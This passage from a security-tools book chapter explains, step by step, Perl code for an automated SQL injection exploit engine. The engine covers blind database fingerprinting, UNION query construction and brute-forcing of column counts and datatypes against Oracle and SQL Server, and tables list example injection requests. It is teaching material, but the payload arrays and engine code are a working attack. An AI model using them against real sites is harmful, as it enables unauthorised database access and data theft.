foreach my $databaseName (keys %databaseInfo) {
my $sqlBlindDbDetectTest = $paramRequest;
my $sqlBlindDbDetectString = $sqlOrVuln;

Because we already know the number of columns in the query, we build the <tt>UNION</tt> query with "null" values in each column position instead of actual field names or literal strings. It should be noted that most versions of Microsoft SQL Server, and only Oracle versions 9 and above, support null values. The null values are really just placeholders that will be replaced with converted datatype strings later on. Just as we did with the <tt>ORDER BY</tt> queries, we use the successful <tt>OR 1=1</tt> exploit string to determine the proper SQL code that needs to preface the <tt>UNION</tt> query (note that again we replace everything after the word <tt>OR</tt>):

my $sqlBlindDbDetectUnion = "%20UNION%20ALL%20SELECT%20null".",null" x
($sqlColumnVuln-1)."%20FROM%20$databaseInfo{$databaseName}{tableName}--";
$sqlBlindDbDetectString =~ s/%20OR%20.*--/$sqlBlindDbDetectUnion/;
$sqlBlindDbDetectTest =~ s/---PLACEHOLDER---/$sqlBlindDbDetectString/;

We assume that only one of these queries can run successfully because the default table we are using for each database should not exist unless it is the specific database server we are attempting to identify. After each request, we check to see if it resulted in the appropriate error condition based on the <tt>$sqlVuln</tt> variable value. If the error is not present, we assign the current hash key value (the <tt>$databaseName</tt> variable) to the <tt>$sqlDbType</tt> variable:

my ($sqlBlindDbDetectStatus, $sqlBlindDbDetectResults) =
makeRequest($sqlBlindDbDetectTest);
if (($sqlBlindDbDetectResults !~ $sqlRegEx && $sqlVuln == 1) ||
($sqlBlindDbDetectStatus !~ /^500/ && $sqlVuln == 2) ||
($sqlBlindDbDetectResults !~ /error|unable to/i && $sqlVuln == 3) ||
(length($sqlBlindDbDetectResults) > 100 && $sqlVuln == 4)) {
$sqlDbType = $databaseName;
}
}

At this point the database should be successfully identified and the name of the appropriate database server should be assigned to the <tt>$sqlDbType</tt> variable. [[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-TABLE-4|Table 9-4]] lists requests this subroutine has made thus far.

<div id="networkst-CHP-9-TABLE-4">
'''Table 9-4. Blind database server detection requests and results'''

{| border="1"
|-
! Test request !! Response
|-
|

GET /news.jsp?id=1')%20UNION%20SELECT%20null,null %20FROM%20MASTER..SYSDATABASES--&view=F
|

500 Server Error
|-
|

GET /news.jsp?id=1')%20UNION%20SELECT%20null,null %20FROM%20ALL_TABLES--&view=F
|

200 OK
|}
</div>

Now that we have attempted to identify the database server, we will attempt to determine the proper datatypes for each column in the query.

<div class="tip">
'''Tip'''

For the purposes of our example, the first column in the original query is of the Oracle <tt>NUMBER</tt> datatype, and the second column in the query is of the Oracle <tt>VARCHAR</tt> datatype.
</div>

We assign the <tt>$sqlBlindDataTypeSuccess</tt> variable (declared at the top of our script) a value of <tt>false</tt> before starting the datatype enumeration routine. Like our last two subroutines, this is the value that ultimately will be used to determine the routine's success or failure. We change its value only once our datatype enumeration is successful for all query columns. Before we begin blind datatype testing, we need to make sure the database server has been identified. If it hasn't, we cannot continue testing with this routine because we do not have a valid table name to use in the <tt>UNION</tt> query (we will get an error on every exploit attempt, so our testing will not be successful):

my $sqlBlindDataTypeSuccess = "false";
if ($sqlDbType ne "unknown") {

Provided we have successfully detected our database server, we declare a column position counter to move through each column position in the query, one at a time (starting with the first and moving to the right). We also declare an array containing a value for each column in the query and initially assign each a value of <tt>null</tt>:

my $sqlBlindColumnPos = 0;
my @columns = ( );
for ($sqlBlindColumnPos = 0; $sqlBlindColumnPos < $sqlColumnVuln; $sqlBlindColumnPos++) {
$columns[$sqlBlindColumnPos] = "null";
}

Next, we declare a second counter variable to track which datatypes we tested for each column position. Recall that we created an array within the <tt>%databaseInfo</tt> hash that contains the datatype conversion strings used to test each datatype. We are tracking the positions within this array with the second counter variable (<tt>$sqlBlindDataTypePos</tt>). This value starts over at <tt>0</tt> as we begin testing each column position:

my $sqlBlindDataTypePos = 0;

Now we are ready to start our datatype testing loops. One by one, we iterate through each column position (left to right) in our query, and for each position we perform another loop through the datatype array (each datatype conversion string) until we issue a request that does not generate an error. Again, we use the same substitution technique we used to build the database detection request:

do {
$columns[$sqlBlindColumnPos] = $databaseInfo{$sqlDbType}{dataTypes}
[$sqlBlindDataTypePos];
my $dataTypeCombo = join(",",@columns);

my $sqlBlindDataTypeTest = $paramRequest;
my $sqlBlindDataTypeString = $sqlOrVuln;
my $sqlBlindDataTypeUnion = "%20UNION%20ALL%20SELECT%20$dataTypeCombo
%20FROM%20$databaseInfo{$sqlDbType}{tableName}--";
$sqlBlindDataTypeString =~ s/%20OR%20.*--/$sqlBlindDataTypeUnion/;
$sqlBlindDataTypeTest =~ s/---PLACEHOLDER---/$sqlBlindDataTypeString/;
my ($sqlBlindDataTypeStatus, $sqlBlindDataTypeResults) =
makeRequest($sqlBlindDataTypeTest);

After each request, we declare the <tt>$dataTypeFieldSuccess</tt> variable with a value of <tt>0</tt> and inspect the response to see if it contains the appropriate error (based on the value of the <tt>$sqlVuln</tt> variable). If an error is present, we set the <tt>$dataTypeFieldSuccess</tt> variable to <tt>1</tt>; otherwise it remains at <tt>0</tt>:

my $dataTypeFieldSuccess = 0;
if (($sqlBlindDataTypeResults !~ $sqlRegEx && $sqlVuln == 1) || ($sqlBlindDataTypeStatus !~ /^500/ && $sqlVuln == 2) || ($sqlBlindDataTypeResults !~ /error|unable to/i && $sqlVuln == 3) || (length($sqlBlindDataTypeResults) > 100 && $sqlVuln == 4)) {
$dataTypeFieldSuccess = 1;
}

If the <tt>$dataTypeFieldSuccess</tt> variable is equal to <tt>1</tt>, we have identified the correct datatype for the current column position, so we increment the column position counter (<tt>$sqlBlindColumnPos</tt>) and reset the datatype array counter (<tt>$sqlBlindDataTypePos</tt>) to <tt>0</tt>:

if ($dataTypeFieldSuccess == 1) {
$sqlBlindColumnPos++;
$sqlBlindDataTypePos = 0;

At this point, we also check to see if our column counter (<tt>$sqlBlindColumnPos</tt>) is equal to the number of columns in the <tt>UNION</tt> query. If it is, we are finished detecting the datatype on each column; otherwise, we must continue to the next column. Note that we compared the <tt>$sqlBlindColumnPos</tt> and <tt>$sqlColumnVuln</tt> variables after we incremented <tt>$sqlBlindColumnPos</tt> by <tt>1</tt>. Because the <tt>$sqlBlindColumnPos</tt> variable is monitoring array positions (which start at <tt>0</tt>), it is actually always one less than the true column number it is testing (column number one is in array position zero, etc.):

if ($sqlBlindColumnPos == $sqlColumnVuln) {
$sqlBlindDataTypeSuccess = "true";
printReport("\n\nALERT: Possible SQL Injection Exploit:\n=> $sqlBlindDataTypeTest\n\n");
}

If <tt>$dataTypeFieldSuccess</tt> is not equal to <tt>1</tt>, we must increment the datatype position counter (<tt>$sqlBlindDataTypePos</tt>) and test the same column again using the next datatype in the array:

<nowiki> } else {
$sqlBlindDataTypePos++;
if ($sqlBlindDataTypePos > $#{$databaseInfo{$sqlDbType}{dataTypes}}) {
$sqlBlindDataTypeSuccess = "error";
}
}</nowiki>

Also note here that we check to make sure the datatype position counter is not greater than the total number of members in the datatype array itself (<tt><nowiki>$#{$databaseInfo{$sqlDbType}{dataTypes}}</nowiki></tt>). If it is, we have tested every datatype in the array for this column without success, so we assign a value of <tt>error</tt> to the <tt>$sqlBlindDataTypeSuccess</tt> variable, which causes the loop to end immediately.

The loop continues to run until the <tt>$sqlBlindDataTypeSuccess</tt> variable is not equal to <tt>false</tt> (essentially until it is set to either <tt>true</tt> or <tt>error</tt>). After the loop exits, we return the <tt>$sqlBlindDataTypeSuccess</tt> value and close the subroutine:

} until ($sqlBlindDataTypeSuccess ne "false");
}
return $sqlBlindDataTypeSuccess;
}

[[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-TABLE-5|Table 9-5]] lists the example test requests our scanner made during the blind datatype enumeration phase of this routine.

<div id="networkst-CHP-9-TABLE-5">
'''Table 9-5. Example datatype enumeration requests'''

{| border="1"
|-
! Test request !! Response
|-
|

GET /news.jsp?id=1')%20UNION%20SELECT%20 TO_CHAR(1),null %20FROM%20ALL_TABLES--&view=F
|

500 Server Error
|-
|

GET /news.jsp?id=1')%20UNION%20SELECT%20 TO_NUMBER(1),null%20FROM%20ALL_TABLES--&view=F
|

200 OK
|-
|

GET /news.jsp?id=1')%20UNION%20SELECT%20 TO_NUMBER(1), TO_CHAR(1)%20FROM%20 ALL_TABLES--&view=F
|

200 OK
|}
</div>

Now that all our blind testing is finished, we will shift gears to the error-based testing routines. Moving back to the main script body, we close out the two open <tt>if</tt> statements before we begin the error-based logic. Let's look at all the main script body logic we have constructed thus far with respect to SQL injection testing:

$sqlVuln = &sqlTest;
if ($sqlVuln != 0) {
$sqlOrVuln = &sqlOrTest;
if ($sqlOrVuln ne "false") {
if ($sqlOrVuln =~ /--$/) {
$sqlColumnVuln = &sqlBlindColumnTest;
if ($sqlColumnVuln != 0) {
$sqlDataTypeVuln = &sqlBlindDataTypeTest;
}
}

To recap, we start by performing the initial single-quote test on the specific parameter at hand (<tt>sqlTest</tt>). If the value returned by <tt>sqlTest</tt> is not <tt>0</tt>, we perform generic <tt>OR</tt> <tt>1=1</tt> testing against the injection point (<tt>sqlOrTest</tt>) to confirm that the injection point exists and is exploitable. If the <tt>sqlOrTest</tt> routine resulted in success, we inspect the exploit string it used to see if it ends in a double hyphen (required for blind routines). If a double hyphen was used, we attempt to perform blind column enumeration using the <tt>sqlBlindColumnTest</tt> subroutine. Based on the success or failure of the <tt>sqlBlindColumnTest</tt> routine, we attempt to perform blind datatype enumeration using the <tt>sqlBlindDataTypeTest</tt> subroutine.

At this point, we are still inside the <tt>if</tt> statement, indicating that <tt>sqlOrTest</tt> was successful, and we must decide whether we want to run the first of three error-based injection routines. We run the error-based test routines only if any of the following two criteria are met:

* The <tt>$sqlColumnVuln</tt> variable is equal to <tt>0</tt> (meaning the blind column test either failed or was not performed).
* The <tt>$sqlDataTypeVuln</tt> variable is not set to <tt>true</tt> (meaning the blind column datatype test either failed or was not performed).

<div class="tip">
'''Tip'''

To continue providing example execution, we will change some of the assumptions we are working under. Specifically, we will assume the Oracle instance we are attempting to exploit does not support the double-hyphen comment marker and that the application server returns detailed stack trace information in the event of an unhandled error.

Based on these new assumptions, the value of <tt>$sqlVuln</tt> is now <tt>1</tt>. Additionally, the blind routines were not invoked based on the value that was returned by <tt>sqlOrTest</tt> (assigned to <tt>$sqlOrVuln</tt>):

1')%20OR%20('1'%3D'1
</div>

If either of these two conditions exists, we move into the error-based routines and call the first of three subroutines (<tt>sqlUnionTest</tt>):

if (($sqlColumnVuln == 0) || ($sqlDataTypeVuln ne "true")) {
$sqlUnionVuln = &sqlUnionTest;

The purpose of <tt>sqlUnionTest</tt> is to detect whether a <tt>UNION</tt> query is possible based on the error message the database server returns. In all three error-based subroutines, we look for the presence or absence of specific known error messages for each database type. To do this, first we must define those error messages for each supported database server. Essentially we are looking for three specific error messages (one in each subroutine).

The first of these messages is used to determine if a <tt>UNION</tt> query is possible given the exploit syntax. Most database servers (including Oracle and Microsoft SQL Server) verify that all tables you are running a query against in a <tt>UNION</tt> actually exist before they check to see if you have the right number of columns and datatypes. As such, a <tt>UNION</tt> query attempt to a nonexistent table typically generates an error indicating the table does not exist. The first error-based subroutine attempts to run a <tt>UNION</tt> query against a nonexistent table and checks to see if this specific error message is returned. This error message is also used to determine the type of database server we are exploiting because the error messages differ depending on the type of server being queried.

The second error message is used to determine whether the <tt>UNION</tt> query contains the correct number of columns. Once we attempt to query a valid table within the <tt>UNION</tt> query, the database should respond with an error indicating that our query must have the same number of columns as the original query. We attempt to brute-force the number of columns in the original query by continuing to add columns to the <tt>UNION</tt> query until this error goes away.

The third and last error message is used to determine the appropriate datatype in each column position. Once we have the right number of columns in our <tt>UNION</tt> query, the database server should return an error indicating that the datatypes in each column must match those in the original query. Our script proceeds to brute-force the correct datatype combination by attempting every possible combination of datatypes within the allotted number of columns.

Now that we know how the three error messages are used, we will develop a regular expression to identify each of them. [[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-TABLE-6|Table 9-6]] shows the actual message returned by both Oracle and SQL Server under each of the aforementioned scenarios.

<div id="networkst-CHP-9-TABLE-6">
'''Table 9-6. Microsoft SQL Server and Oracle error messages'''

{| border="1"
|-
! Database server !! Error type !! Error message
|-
| Oracle || Invalid table in <tt>UNION</tt> (two possible messages) || Table or view does not exist''or''Invalid table name
|-
| Incorrect number of columns in <tt>UNION</tt> || Query block has incorrect number of result columns.
| class="auto-generated" |
|-
| Incorrect datatype in <tt>UNION</tt> || Expression must have same datatype as corresponding expression.
| class="auto-generated" |
|-
| Microsoft SQL Server || Invalid table in <tt>UNION</tt> || Invalid object name.
|-
| Incorrect number of columns in <tt>UNION</tt> || All queries in an SQL statement containing a <tt>UNION</tt> operator must have an equal number of expressions in their target lists.
| class="auto-generated" |
|-
| Incorrect datatype in <tt>UNION</tt> (three possible messages) || Error converting datatype <tt>nvarchar</tt> to <tt>float</tt>''or'' Syntax error converting the <tt>nvarchar</tt><nowiki>value '' to a column of datatype</nowiki><tt>int</tt>''or'' Operand type clash
| class="auto-generated" |
|}
</div>

The regular expressions used to identify each error message in [[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-TABLE-6|Table 9-6]] are included in the <tt>%databaseInfo</tt> hash used to store all database-specific information. We can add the following new hash members along with the original ones we included during the blind exploit test:

my %databaseInfo;

# MS-SQL
$databaseInfo{mssql}{tableName} = "MASTER\.\.SYSDATABASES";
$databaseInfo{mssql}{dataTypes} = ["CONVERT(VARCHAR,1)","CONVERT(INT,1)"];
$databaseInfo{mssql}{unionError} = qr /Invalid object name|Invalid table name/i;
$databaseInfo{mssql}{columnError} = qr /All queries in an? SQL statement containing/i;
$databaseInfo{mssql}{dataTypeError} = qr /error converting|Operand type clash/i;

# Oracle
$databaseInfo{oracle}{tableName} = "ALL_TABLES";
$databaseInfo{oracle}{dataTypes} = ["TO_CHAR(1)","TO_NUMBER(1)","TO_DATE('01','MM')"];
$databaseInfo{oracle}{unionError} = qr /table or view does not exist/i;
$databaseInfo{oracle}{columnError} = qr /incorrect number of result columns/i;
$databaseInfo{oracle}{dataTypeError} = qr /expression must have same datatype/i;

Now that we have defined the required error messages, we can look at the first subroutine (<tt>sqlUnionTest</tt>).

==== sqlUnionTest subroutine ====

The main purpose of this subroutine is to determine not only whether the <tt>UNION</tt> query is possible, but also the syntax for the query. Unlike the previous routines, <tt>sqlUnionTest</tt> does not rely on the exploit string generated by <tt>sqlOrTest</tt> to perform its testing. Instead, this subroutine attempts to construct a <tt>UNION</tt> exploit query from scratch. Because the <tt>sqlOrTest</tt> routine is primarily concerned with getting a query to run (not necessarily to return any data), it does not always take into account the potential impact that additional <tt>WHERE</tt> criteria appended to the injected data could have on the specific records returned by the query. The <tt>UNION</tt> test strings in this routine are specifically designed to allow all records from the <tt>UNION</tt> query to be returned, even if additional <tt>WHERE</tt> criteria are appended to the injected input. We begin this subroutine by defining an array of test strings used to determine whether the <tt>UNION</tt> query can be run:

sub sqlUnionTest {

my @sqlUnionArray=(
"1%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
"1'%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
"1\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
"1'\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
"1\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
"1'\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
"1\)\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
"1'\)\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
"1%20UNION%20ALL%20select%20FOO%20from%20BLAH",
"1'%20UNION%20ALL%20select%20FOO%20from%20BLAH",
"1%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%201%3D1",
"1'%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%20'1'%3D'1",
"1\)%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%201%3D1%20OR$1%3D1",
"1'$%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%20'1'%3D'1'%20OR\
('1'%3D
'1",
"1\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%201%3D1%20OR$\(1%3D1",
"1'$\)%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%20'1'%3D'1'%20OR$\
('1
'%3D'1",
"1$\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%201%3D1%20OR$\(\
(1%3
D1",
"1'$\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%20'1'%3D'1'%20OR\(\(
\('1'%3D'1"
);

Next, we declare the <tt>$sqlUnionSuccess</tt> variable in the same manner as we did the blind routines. This variable ultimately is used to determine whether the test was successful, so we declare it with a value of <tt>false</tt>. Then we move right into a <tt>for</tt> loop on the <tt>@sqlUnionArray</tt> array, where we cycle through each <tt>UNION</tt> test string and use <tt>$paramRequest</tt> to make a test request containing the test string in lieu of the placeholder value:

foreach my $sqlUnion (@sqlUnionArray) {
if ($sqlUnionSuccess eq "false") {

# Replace the "---PLACEHOLDER---" string with our test string
my $sqlUnionTest = $paramRequest;
$sqlUnionTest =~ s/---PLACEHOLDER---/$sqlUnion/;

# Make the request and get the response data
my ($sqlUnionStatus, $sqlUnionResults) = makeRequest($sqlUnionTest);

Before each loop iteration we check to make sure <tt>$sqlUnionSuccess</tt> is still equal to <tt>false</tt>. After each request, we perform a nested loop through each key in the <tt>%databaseInfo</tt> hash (essentially each database type) and inspect the test response to determine if it contains the <tt>unionError</tt> message defined for the key:

foreach my $dbType (keys %databaseInfo) {
if ($sqlUnionResults =~ $databaseInfo{$dbType}{unionError}) {
$sqlUnion =~ s/BLAH/$databaseInfo{$dbType}{tableName}/;
$sqlDbType = $dbType;
$sqlUnionSuccess = $sqlUnion;
}

As shown in the preceding code, if the specified regular expression for a given database matches the response, we replace the table name from the <tt>UNION</tt> test request (<tt>BLAH</tt>) with the appropriate test table name from the <tt>%databaseInfo</tt> hash, assign the current key value (<tt>$dbType</tt>) to the <tt>$sqlDbType</tt> variable (indicating that we have successfully identified the database), and update <tt>$sqlUnionSuccess</tt> to reflect the value of the new, well-formed <tt>UNION</tt> test request. Finally, we close out all our open loops, return the <tt>$sqlUnionSuccess</tt> variable, and exit the subroutine:

}
}
}
return $sqlUnionSuccess;
}

[[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-TABLE-7|Table 9-7]] lists example requests made by this subroutine.

<div id="networkst-CHP-9-TABLE-7">
'''Table 9-7. Example requests made by sqlUnionTest'''

{| border="1"
|-
! Test request !! Result
|-
|

GET /news.jsp?id=1%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F
| General database error message
|-
|

GET /news.jsp?id=1'%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F
| General database error message
|-
|

GET /news.jsp?id=1)%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F
| General database error message
|-
|

GET /news.jsp?id=1')%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F
| General database error message
|-
|

GET /news.jsp?id=1))%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F
| General database error message
|-
|

GET /news.jsp?id=1'))%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F
| General database error message
|-
|

GET /news.jsp?id=1)))%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F
| General database error message
|-
|

GET /news.jsp?id=1')))%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F
| General database error message
|-
|

GET /news.jsp?id=1%20UNION%20ALL%20select%20FOO %20from%20BLAH&view=F
| General database error message
|-
|

GET /news.jsp?id=1'%20UNION%20ALL%20select%20FOO %20from%20BLAH&view=F
| General database error message
|-
|

GET /news.jsp?id=1%20UNION%20ALL%20select%20FOO %20from%20BLAH%20where%201%3D1&view=F
| General database error message
|-
|

GET /news.jsp?id=1'%20UNION%20ALL%20select%20FOO %20from%20BLAH%20where%20'1'%3D'1&view=F
| General database error message
|-
|

GET /news.jsp?id=1)%20UNION%20ALL%20select%20FOO %20from%20BLAH%20where%201%3D1%20OR
(1%3D1& view=F
| General database error message
|-
|

GET /news.jsp?id=1')%20UNION%20ALL%20select%20FOO %20from%20BLAH%20where%20'1'%3D'1'%20OR('1'%3D'1 &view=F
| Oracle <tt>UNION</tt> error message
|}
</div>

Once the routine exits, we move back up to the main script body and continue processing the test request. A check is performed against the <tt>$sqlUnionVuln</tt> variable to determine if the <tt>sqlUnionTest</tt> routine was successful. If so, we check to see if we have already enumerated the number of columns for the <tt>UNION</tt> query (previously done using <tt>sqlBlindColumnTest</tt>). This scenario occurs if the database server does not support null values in <tt>UNION</tt> statements (such as in older versions of Oracle) but still allows for column enumeration using the <tt>ORDER</tt> <tt>BY</tt> method (used by <tt>sqlBlindColumnTest</tt>):

if ($sqlUnionVuln ne "false") {
if ($sqlColumnVuln == 0) {
$sqlColumnVuln = &sqlColumnTest;

If the <tt>$sqlUnionVuln</tt> value is not set to <tt>false</tt> and <tt>$sqlColumnVuln</tt> is set to <tt>0</tt>, the second of our three error-based injection routines (<tt>sqlColumnTest</tt>) is called.

==== sqlColumnTest subroutine ====

As you have probably figured out, you use this routine to enumerate the number of columns in the SQL query. Although this subroutine's intent is very similar to that of <tt>sqlBlindColumnTest</tt>, its approach is a bit different. Instead of using the <tt>ORDER BY</tt> technique, this routine uses the <tt>UNION</tt> test request obtained by <tt>sqlUnionTest</tt> (assigned to <tt>$sqlUnionVuln</tt><nowiki>) and inserts literal blank values ('') into each</nowiki><tt>UNION</tt> query column. The routine starts with a one-column request and continues to make additional requests until the correct number of columns is added.

Upon entering the subroutine, we declare a column counter variable (initially set at <tt>0</tt>), and a success variable (initially declared with a value of <tt>false</tt>), just as in the previous subroutines:

sub sqlColumnTest {
my $sqlNumCols = 0;
my $sqlColumnSuccess = "false";

Next, we move right into the testing loop. First the loop constructs a skeleton of the <tt>UNION</tt> request by substituting the placeholder value in <tt>$paramRequest</tt> with the exploit string used by <tt>sqlUnionTest</tt> (assigned to <tt>$sqlUnionVuln</tt>):

do {
my $sqlColumnTest = $paramRequest;
$sqlColumnTest =~ s/---PLACEHOLDER---/$sqlUnionVuln/;

Next, the <tt>UNION</tt> query field list (<tt>FOO</tt>) is replaced with a series of literal blank values (two consecutive single quotes). These are essentially placeholders similar to the "null" strings used in <tt>sqlBlindDataTypeTest</tt>, but are considered string values by most database servers. These values should ultimately cause a datatype mismatch error once we get the correct number of columns. The number of column placeholders depends on the value of our column counter variable (<tt>$sqlNumCols</tt>), which starts at zero (resulting in one column) and increments by one on every loop:

my $sqlColumnTestString = "%27%27".(",%27%27" x $sqlNumCols);
$sqlColumnTest =~ s/FOO/$sqlColumnTestString/;

Once the test request is made, the response is analyzed for the presence of the <tt>columnError</tt> message for our specific database:

# Make the request and get the response data
my ($sqlColumnStatus, $sqlColumnResults) = makeRequest($sqlColumnTest);

if ($sqlColumnResults !~ $databaseInfo{$sqlDbType}{columnError}) {
$sqlColumnSuccess = $sqlColumnTest;
}
$sqlNumCols++;
} until (($sqlColumnSuccess ne "false") || ($sqlNumCols > 200));

As shown in the preceding code, if the error is present, the loop continues because the <tt>$sqlColumnSuccess</tt> variable remains set to <tt>false</tt>. The loop continues until the <tt>$sqlColumnSuccess</tt> variable is no longer set to <tt>false</tt> (when the error is not present), or if the column counter (<tt>$sq1NumCols</tt>) exceeds <tt>200</tt>. We set the limit of 200 columns just as we did with blind column testing because a number this large would be a good indication that something else is preventing the query from running. Once the error condition is absent, the script assumes it has obtained the correct number of columns and updates the value of <tt>$sqlColumnSuccess</tt>.

After the loop completes, a check is made to determine if <tt>$sqlColumnSuccess</tt> is set to <tt>false</tt>. If it isn't, the current value of the column counter (<tt>$sqlNumCols</tt>) is returned; otherwise, the routine returns a value of <tt>0</tt>, indicating failure. Note that although the counter variable (<tt>$sqlNumCols</tt>) is typically one less than the actual number of columns being tested, we incremented this variable value after the last response. Once incremented, the variable value is equal to the actual number of columns tested in the previous loop:

if ($sqlColumnSuccess ne "false") {
return $sqlNumCols;
} else {
return 0;
}
}

Returning to our main script body, we are ready to call the final error-based testing routine. First, we must close the conditional <tt>if</tt> statement that checks to see if the number of columns was already obtained. Next, we check the value of <tt>$sqlColumnVuln</tt> to verify that we have obtained the correct number of columns for the <tt>UNION</tt> query:

}
if ($sqlColumnVuln != 0) {
$sqlDataTypeVuln = &sqlDataTypeTest;

Provided that the value of <tt>$sqlColumnVuln</tt> is not <tt>0</tt>, we to call <tt>sqlDataTypeTest</tt> to brute-force the correct datatype combination for the <tt>UNION</tt> query.

==== sqlDataTypeTest subroutine ====

The final step in our error-based <tt>UNION</tt> exploit is to brute-force the correct datatype necessary for each column of the query. We open this subroutine just as we did the others by declaring the success variable with an initial value of <tt>false</tt>:

sub sqlDataTypeTest {
my $sqlDataTypeSuccess = "false";

Before we begin to actually brute-force the datatypes, we must consider the number of possible attempts we might end up making here. This routine attempts to make one request for every possible combination of datatypes (included in the <tt>%databaseInfo</tt> hash for the identified database server) until it obtains the correct combination. Although this might not take very long on a query containing five columns, we must realize that as we add columns to our query the number of potential datatype combinations grows at an exponential rate. This has tremendous time implications for our scanner because it is not multithreaded.

<div class="tip">
'''Tip'''

The total number of possible datatype combinations for a given query is the number of different datatypes raised to the number of columns in the query. For example, for a 12-column query using three different datatypes (Oracle in our case), the number of possible combinations is 531,441. If our scanner averages two requests per second, it could take more than three days to brute-force the query.
</div>

To address the timing issue, we define an upper limit on the number of query columns that our script attempts to brute-force. If this limit is reached, we are still made aware of the vulnerability and can decide to either pursue the exploit manually or adjust the limit and rerun the script. We have initially set the upper column limit at eight columns. Provided that our limit has not been exceeded by the query, we then must generate the list of possible datatype combinations. For this we have actually developed a dedicated subroutine that returns an array containing every possible datatype combination for the identified database using the number of columns in our query. The subroutine is used to populate the <tt>@sqlDataTypeDictionary</tt> array that is used to perform our testing:

if ($sqlColumnVuln <= 8) {
my @sqlDataTypeDictionary = genRecurse( );

The subroutine used to generate the array (<tt>genRecurse</tt>) is a recursive subroutine that iterates through every possible datatype combination. The subroutine is quite short and is shown here in its entirety:

<nowiki>sub genRecurse {
my $dd = shift;
my @seq = @_;
if ($dd >= $sqlColumnVuln) {
my $combo = join(",", @seq);
push (@dtCombinations, $combo);
} else {
foreach my $subReq (@{$databaseInfo{$sqlDbType}{dataTypes}}) {
genRecurse($dd + 1, @seq, $subReq);
}
}
return @dtCombinations;
}</nowiki>

You can see that the <tt>genRecurse</tt> subroutine recursively loops through each member of the <tt>%databaseInfo</tt> <tt>dataTypes</tt> element. All unique datatype combinations are joined with commas and are added to the <tt>@dtCombinations</tt> array (returned by the subroutine).

Going back to <tt>sqlDataTypeTest</tt>, we declare a counter variable (<tt>$sqlDictionaryPos</tt>) to keep track of which array position within <tt>@sqlDataTypeDictionary</tt> we are currently testing. We do this to avoid performing a <tt>for</tt> loop on every array member because the array could be quite large and we might actually get the right datatype combination early on in the list:

my $sqlDictionaryPos = 0;

Once we begin the loop, we use the same technique used by <tt>sqlColumnTest</tt> to build the skeleton of the request based on the value of <tt>$sqlUnionVuln</tt>. Then we replace the column value (<tt>FOO</tt>) with the current member of the <tt>@sqlDataTypeDictionary</tt> array (defined by the current <tt>$sqlDictionaryPos</tt> value) and make the request:

do {
my $sqlDataTypeTest = $paramRequest;
$sqlDataTypeTest =~ s/---PLACEHOLDER---/$sqlUnionVuln/;
$sqlDataTypeTest =~ s/FOO/$sqlDataTypeDictionary[$sqlDictionaryPos]/;
my ($sqlDataTypeStatus, $sqlDataTypeResults) = makeRequest($sqlDataTypeTest);

Once the request has been made, we inspect the response using the <tt>dataTypeError</tt> regular expression element defined for our database in the <tt>%databaseInfo</tt> hash. If the error is present, we increment our counter variable (<tt>$sqlDictionaryPos</tt>) and continue testing. If the error is not present, we assume the datatype combination was correct and update the success variable (<tt>$sqlDataTypeSuccess</tt>) in addition to notifying the user:

if ($sqlDataTypeResults !~ $databaseInfo{$sqlDbType}{dataTypeError}) {
$sqlDataTypeSuccess = $sqlDataTypeTest;
printReport("\n\nALERT: Possible SQL Injection Exploit:\n=> $sqlDataTypeTest\n\n");
}
$sqlDictionaryPos++;
} until (($sqlDataTypeSuccess ne "false") || ($sqlDictionaryPos >= $#sqlDataTypeDictionary + 1));

As shown in the preceding code, the loop runs until the success variable is updated ''or'' the counter variable reaches the last member of the <tt>@sqlDataTypeDictionary</tt> array (meaning we have reached the end of the array with no success). Because this is the final subroutine of the exploit engine, we close the subroutine without returning a value:

}
else
printReport("\n\nALERT: SQL column limit exceeded ($sqlColumnVuln)\n\n");
}
}

At this point, let's return to our main script body to close out all the existing SQL-related logic and proceed to the next parameter-based test. Here is the entire parameter-based control logic:

## Perform input validation tests
$sqlVuln = &sqlTest;
if ($sqlVuln != 0) {
$sqlOrVuln = &sqlOrTest;
if ($sqlOrVuln ne "false") {
$sqlColumnVuln = 0;
$sqlDataTypeVuln = "false";
if ($sqlOrVuln =~ /--$/) {
$sqlColumnVuln = &sqlBlindColumnTest;
if ($sqlColumnVuln != 0) {
$sqlDataTypeVuln = &sqlBlindDataTypeTest;
}
}
if (($sqlColumnVuln == 0) || ($sqlDataTypeVuln ne "true")) {
$sqlUnionVuln = &sqlUnionTest;
if ($sqlUnionVuln ne "false") {
if ($sqlColumnVuln == 0) {
$sqlColumnVuln = &sqlColumnTest;
}
if ($sqlColumnVuln != 0) {
$sqlDataTypeVuln = &sqlDataTypeTest;
}
}
}
}
}
my $xssVuln = xssTest($paramRequest);

Now the script continues to perform additional tests we had in the previous scanner, such as XSS (the only other parameter-based test) and the directory-based testing routines.

== Using the Scanner ==

